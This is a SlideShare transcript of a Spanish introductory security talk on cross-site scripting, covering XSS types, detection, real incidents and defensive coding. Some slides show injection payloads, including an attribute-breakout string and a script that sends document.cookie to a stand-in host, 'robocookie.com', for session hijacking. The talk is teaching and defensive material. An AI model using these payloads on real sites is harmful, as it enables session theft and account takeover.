Xss attacks
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Xss attacks

on

  • 1,129 views

Chala en el T3chefest 2014 sobre iniciación a los ataques XSS

Chala en el T3chefest 2014 sobre iniciación a los ataques XSS

Statistics

Views

Total Views
1,129
Views on SlideShare
901
Embed Views
228

Actions

Likes
1
Downloads
16
Comments
0

4 Embeds 228

http://www.1gbdeinformacion.com 214
https://twitter.com 7
http://subhalid29.rssing.com 4
http://172.24.96.41 3

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Xss attacks Presentation Transcript

  • 1. Leganés 6-7 Febrero 2013 www.1gbdeinformacion.com Except where otherwise noted, this work is licensed under: http://creativecommons.org/licenses/by-nc-sa/3.0/ c_b_n_a
  • 2. Leganés 6-7 Febrero 2013 Iniciándose en XSS QUIEN SOY Roberto García Amoriz: trabajo como Administrador de Sistemas Informáticos y Redes de Comunicaciones desde hace más de 10 años, proporcionando soporte a empresas líderes del sector. Apasionado de la Seguridad Informática, publico regularmente artículos sobre diversos temas relacionados con la tecnología y la seguridad desde mi blog www.1gbdeinformacion.com • Colaborador en Estación Informática y en Security By Default. • Ponente en los talleres de seguridad en las jornadas X1RedMasSegura. • Ponente en las 2ª HighsecCON. 2
  • 3. Leganés 6-7 Febrero 2013 Iniciándose en XSS Índice 1. Introducción 2. Definición de ataques XSS 3. Tipos de ataques XSS 4. Partes de un ataque XSS 5. Detectar aplicación web vulnerable 6. Ejemplos de ataques XSS 7. Soluciones a los ataques XSS 3
  • 4. Leganés 6-7 Febrero 2013 Iniciándose en XSS ¿Qué es XSS? • Es un ataque de inyección de código malicioso que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. • Sucede cuando un atacante envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web… 4
  • 5. Leganés 6-7 Febrero 2013 Iniciándose en XSS 1. Introducción Cross Site Scripting (XSS) • Los ataques XSS se pueden perpetrar en cualquier web que permita ejecutar código de “scripting” como Java Script, Visual Basic Scrip (VBS), Action Script (flash) etc. • Para llevarlo a cabo es necesario encontrar un punto de entrada, normalmente los formularios, cuadros de búsqueda etc. • Estos datos no se validan correctamente en algunas aplicaciones, permitiendo la ejecución de ese código. • En un ataque XSS es posible acceder a partes restringidas, recuperar información del usuario, secuestrar cuentas e incluso modificar el contenido del sitio. 5
  • 6. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS ¿En qué consiste? • Son vulnerabilidades en sitios web que se aprovechan de la falta de sistemas de filtrado y de validación en los campos de entrada. Estos permiten el envío de scripts (Java Script, Visual Basic Script etc) para su posterior ejecución. • Ese código se interpreta en la parte cliente (el navegador) y no en la parte del servidor, de manera que si se inyecta una parte de código en una pagina web, no se dañaría el servidor, ya que él no interpreta el código, solo la parte del navegador. • Este ataque se denomina  ataque del lado cliente. 6
  • 7. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Una página es vulnerable a XSS cuando lo que nosotros enviamos al servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se ve reflejado posteriormente en la página de respuesta. 7
  • 8. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Riesgos • Acceso a zonas restringidas. • Robo de credenciales. • Modificación del contenido del sitio (defacement). • Phishing. • Navegación dirigida. 8
  • 9. Leganés 6-7 Febrero 2013 Iniciándose en XSS 2. Definición de ataques XSS Recursos utilizados • Correo web. • Mensajes en foros. • Libros de visita. • Cuadros de búsqueda. • Formularios de contactos 9
  • 10. Leganés 6-7 Febrero 2013 Iniciándose en XSS 3. Tipos de ataques XSS • Persistente • Se produce cuando un atacante consigue inyectar código malicioso en una web que es vulnerable. • El código inyectado queda “almacenado” en la base de datos de una web (formularios) y cuando los usuarios visitan esa web el código se ejecuta. • Se suele producir en las aplicaciones que permiten a un usuario almacenar algún tipo de dato. • Permite tomar el control de navegador de la victima, recoger información, realizar un defacement, ejecutar exploits basados en navegador, etc. • Son los ataques XSS más peligrosos. 10
  • 11. Leganés 6-7 Febrero 2013 Iniciándose en XSS 3. Tipos de ataques XSS • No persistente • Es un tipo de inyección de código que no se ejecuta con la aplicación web, si no que se origina cuando la víctima carga una URL en el navegador. • La URL es modificada en la web para que se obtenga un resultado distinto al esperado. Vulnerabilidad encontrada por@Dylan_irzi11 11
  • 12. Leganés 6-7 Febrero 2013 Iniciándose en XSS <!-- Aclaración--> 12
  • 13. Leganés 6-7 Febrero 2013 Iniciándose en XSS 4. Partes de un ataque XSS (Visto como el atacante) • Inyección del código: Identificar que código se puede introducir. • POC: ¿Qué puedes hacer con el XSS? ¿Robo de credenciales?, ¿defacement?, etc. • Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc. 13
  • 14. Leganés 6-7 Febrero 2013 Iniciándose en XSS Vale, que sí ¿pero como atacan? • El código se copia entre dos etiquetas HTML: Solo debemos introducir el código Javascript que queremos ejecutar. <script>alert(“Ataque XSS");</script> • El código se copia dentro de una etiqueta value de una etiqueta <input>. <input type=“text" name=“q2” value="[busqueda]" /> Este código queda situado entre comillas dobles de un atributo que pertenece a una etiqueta HTML y no permite que se ejecute, así que es necesario cerrar la etiqueta HTML e insertar después el código Javascript. "/><script>alert(“Ataque XSS");</script><div class=“ Quedando de esta manera: <input type="text" name="q2" value=“busqueda"/> <script>alert(“Ataque XSS");</script><div class="" /> Al final del código se introduce una etiqueta <div> para evitar la malformación del código HTML. 14
  • 15. Leganés 6-7 Febrero 2013 Iniciándose en XSS 5. Detectar aplicación web vulnerable • Detectar la vulnerabilidad a través de formulario Ej: <script>alert(“akil3s”);</script> 15
  • 16. Leganés 6-7 Febrero 2013 Iniciándose en XSS 5. Detectar aplicación web vulnerable • Detectar la vulnerabilidad a través de URL Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script> Alberto Segura. http://elladodelnovato.blogspot.com.es/ 16
  • 17. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Robo de cookies y sesión • Mediante la propiedad document.cookie podemos sacar la cookie que está usando el usuario: <script language="javascript"> alert(“TeRobolaCookie: " + document.cookie); </script> • Si conseguimos sacar ese dato fuera y el control de sesión es demasiado simple, se puede realizar un “session hijacking “o secuestro de sesión. <script> document.location.href = "http://robocookie.com/recibir.php?ck="+ document.cookie; </script> 17
  • 18. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Los atacantes consiguieron modificar (deface) la imagen del video de bienvenida del presidente del gobierno por otra imagen, en este caso Mr Bean. 18
  • 19. Leganés 6-7 Febrero 2013 Iniciándose en XSS Juan Carlos García: http://hackingmadrid.blogspot.com.es/2012/05/hacking-madrideasy-xss-and-cross-site.html 19
  • 20. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS El atacante mediante el uso de Java Script conseguía la cookie de usuario, logrando redireccionar su contenido a un servidor web controlado, lo que permitía al atacante acceder a los mensajes privados, agregar nuevas aplicaciones sin ser autorizado, ver la lista de contactos, las imágenes privadas de la víctima, etc. 20
  • 21. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Los atacantes consiguieron atacar Youtube inyectando código desde el área de comentarios. Consiguieron forzar mensajes pop-up para que apareciesen en la pagina y redireccionaron a los visitantes a paginas que contenían malware. 21
  • 22. Leganés 6-7 Febrero 2013 Iniciándose en XSS 6. Ejemplos de ataques XSS Cuando se crea una lista nueva de contactos en Twitter, si el nombre de la lista lo cambiamos por código de scripting, este se valida en la web. Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html 22
  • 23. Leganés 6-7 Febrero 2013 Iniciándose en XSS Time for demo 23
  • 24. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS  Al diseñar las aplicaciones • Se debe verificar siempre que el tipo de datos y la longitud de los campos se correspondan con lo esperado. Hay que filtrar los caracteres que puedan resultar dañinos. • Las aplicaciones web deben programarse filtrando determinados comandos como: script, form, applet, object , embed, marquee, img src... • Cuando se detecten posibles ataques enviar mensajes de alerta intimidatorios. 24
  • 25. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS  Usar las ultimas versiones de los navegadores • Desde la versión de Internet Explorer 8 si intentas acceder a una página web que ha sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido modificada. • Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina a través de la inyección de código en un parámetro. * Por esto, es muy recomendable tener siempre actualizado todo el software de tu equipo. 25
  • 26. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS • Los usuarios también pueden protegerse contra los ataques XSS configurando los navegadores para impedir que se ejecuten lenguajes de scripting (NoScript). Esto no dará una solución óptima para el usuario porque hay paginas que no funcionan correctamente si se prohíbe la ejecución de código dinámico. • Una solución mas viable para impedir ataques XSS pasa por diseñar una pagina web “sin vulnerabilidades”, para ello el diseñador debe:      Verificar el formato de los datos que van a poder introducir los usuarios. Codificar los datos visibles al usuario reemplazando los caracteres especiales. Revisar las cookies. El código introducido no puede ser superior a X caracteres. Al terminar una pagina web, contratar los servicios de un auditor de seguridad para que haga una prueba antes de poner la web en producción. 26
  • 27. Leganés 6-7 Febrero 2013 Iniciándose en XSS 7. Soluciones a los ataques XSS • Ejemplo practico. Vamos a ver como disminuir los problemas generados por los ataques XSS. 27
  • 28. Leganés 6-7 Febrero 2013 Iniciándose en XSS • En el ejemplo anterior vemos como filtramos los datos que el usuario puede enviar al site. En la primera línea vemos que se están omitiendo los espacios. • En la segunda línea estamos evitando problemas con la codificación Unicode. • En las siguientes líneas estamos omitiendo los caracteres. 28
  • 29. Leganés 6-7 Febrero 2013 Iniciándose en XSS • XSS en hexadecimal Con lo que hemos visto anteriormente, podríamos parar los pies a los ScriptKiddies, pero, ¿que pasaría si nos encontramos con alguien con mas experiencia? Alguien como el de la foto, que ya se las sabe todas, podría hacer algo como esto: Aquí habría un cambio del código, de ASCII a Hexadecimal en una petición GET. El navegador lo interpretaría de la siguiente manera. Jose Selvi  pentester.es 29
  • 30. Leganés 6-7 Febrero 2013 Iniciándose en XSS • Por eso en la tercera imagen lo habíamos evitado omitiendo los caracteres # y % ya que directamente los convierte a UTF-8. • Al contrario de lo que muchos piensan, un sitio web que utilice SSL (HTTPS) no esta más protegido que uno que no esté cifrado. Las aplicaciones web funcionan de la misma manera, excepto que el ataque se lleva a cabo en una conexión cifrada. 30
  • 31. Leganés 6-7 Febrero 2013 Iniciándose en XSS 31
  • 32. Leganés 6-7 Febrero 2013 Iniciándose en XSS • Todos los servidores web, servidores de aplicaciones y entornos de aplicaciones web son susceptibles de un ataque XSS. • Los sitios que han sufrido (o tienen) ataques XSS también pueden tener ataques de fuerza bruta o de denegación del servicio (DOS). • No confiar nunca en los datos introducidos por los usuarios, debemos tratarlos todos como “potencialmente peligrosos”. • Para terminar, comentar que hay frameworks como Symphony o CakePHP que ya se encargan de implementar este tipo de seguridad, como también lo hacen ciertos gestores de contenidos. • También hay Add-ons para Firefox como XSS Me o Domsnitch para Chrome que ayudan a paliar los problemas con ataques XSS en el proceso de desarrollo web. 32
  • 33. Leganés 6-7 Febrero 2013 Iniciándose en XSS Email: info@1gbdeinformacion.com Blog: www.1gbdeinformacion.com Twitter: @1Gbdeinfo 33
  • 34. Leganés 6-7 Febrero 2013 Iniciándose en XSS Pedro Candel  @NN2ed_s4ur0n Victor Calvo @aetsu Juan Carlos García  @secnight Daniel Garcia  @ggdaniel Yago Jesús  @YJesus Alberto segura  @alberto__segura Guille @guilleSec Email: info@1gbdeinformacion.com Blog: www.1gbdeinformacion.com Twitter: @1Gbdeinfo 34